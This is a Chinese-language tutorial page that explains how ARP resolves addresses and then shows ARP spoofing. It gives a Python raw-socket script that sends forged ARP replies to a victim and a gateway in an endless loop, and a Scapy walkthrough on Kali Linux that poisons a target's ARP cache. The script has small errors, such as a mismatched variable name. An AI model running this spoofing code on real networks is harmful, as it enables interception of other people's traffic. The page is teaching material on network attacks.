📅  最后修改于: 2020-12-06 10:33:07             🧑  作者: Mango
ARP可以定义为用于将Internet协议(IP)地址映射到物理机器地址的无状态协议。
在本节中,我们将学习ARP的工作原理。考虑以下步骤以了解ARP如何工作-
步骤1-首先,当一台机器想要与另一台机器通信时,它必须查询其ARP表以获取物理地址。
步骤2-如果找到机器的物理地址,则将数据包转换为正确的长度后,将其发送到所需的机器
步骤3-但是,如果在表中找不到IP地址的条目,则ARP_request将通过网络广播。
步骤4-现在,网络上的所有计算机都将广播的IP地址与MAC地址进行比较,如果网络中的任何计算机标识了该地址,它将响应ARP_request及其IP和MAC地址。这种ARP消息称为ARP_reply。
步骤5-最后,发送请求的机器将地址对存储在其ARP表中,并且将进行整个通信。
可以将其定义为一种攻击类型,其中恶意行为者正在通过局域网发送伪造的ARP请求。 ARP中毒也称为ARP欺骗。可以借助以下几点来理解-
首先,为了使交换机过载,ARP欺骗会构造大量伪造的ARP请求和回复数据包。
然后将开关设置为转发模式。
现在,ARP表将充斥欺骗性的ARP响应,以便攻击者可以嗅探所有网络数据包。
在本节中,我们将了解ARP欺骗的Python实现。为此,我们需要三个MAC地址-第一个受害者,第二个攻击者和第三个网关。除此之外,我们还需要使用ARP协议的代码。
让我们如下导入所需的模块-
import socket
import struct
import binascii
现在,我们将创建一个套接字,该套接字将具有三个参数。第一个参数告诉我们有关包接口的信息(Linux专用的PF_PACKET和Windows的AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们感兴趣的协议(此处0x0800用于IP协议)。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
我们现在将提供攻击者,受害者和网关机器的mac地址-
attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
我们需要给出ARP协议的代码,如下所示:
code ='\x08\x06'
如下制作了两个以太网数据包,一个用于受害者计算机,另一个用于网关计算机-
ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac + attckmac + code
以下代码行按照ARP头的顺序排列-
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
现在我们需要提供网关计算机和受害者计算机的IP地址(假设我们有以下网关和受害者计算机的IP地址)-
gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'
借助socket.inet_aton()方法,将上述IP地址转换为十六进制格式。
gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )
执行以下代码行以更改网关计算机的IP地址。
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip
while 1:
s.send(victim_ARP)
s.send(gateway_ARP)
可以在Kali Linux上使用Scapy来实现ARP欺骗。请按照以下步骤执行相同的操作-
在这一步中,我们将通过在Kali Linux的命令提示符下运行ifconfig命令来找到攻击者机器的IP地址。
在这一步中,我们将通过在Kali Linux的命令提示符下运行ifconfig命令来找到目标计算机的IP地址,我们需要在另一个虚拟机上打开它。
在此步骤中,我们需要借助以下命令从攻击者计算机ping目标计算机-
Ping –c 192.168.43.85(say IP address of target machine)
我们已经知道两台机器使用ARP数据包来交换MAC地址,因此在步骤3之后,我们可以在目标机器上运行以下命令以查看ARP缓存-
arp -n
我们可以借助Scapy创建ARP数据包,如下所示-
scapy
arp_packt = ARP()
arp_packt.display()
我们可以借助Scapy发送恶意ARP数据包,如下所示-
arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)
步骤7:再次检查目标计算机上的ARP缓存
现在,如果我们再次检查目标计算机上的ARP缓存,则将看到假地址“ 1.1.1.1”。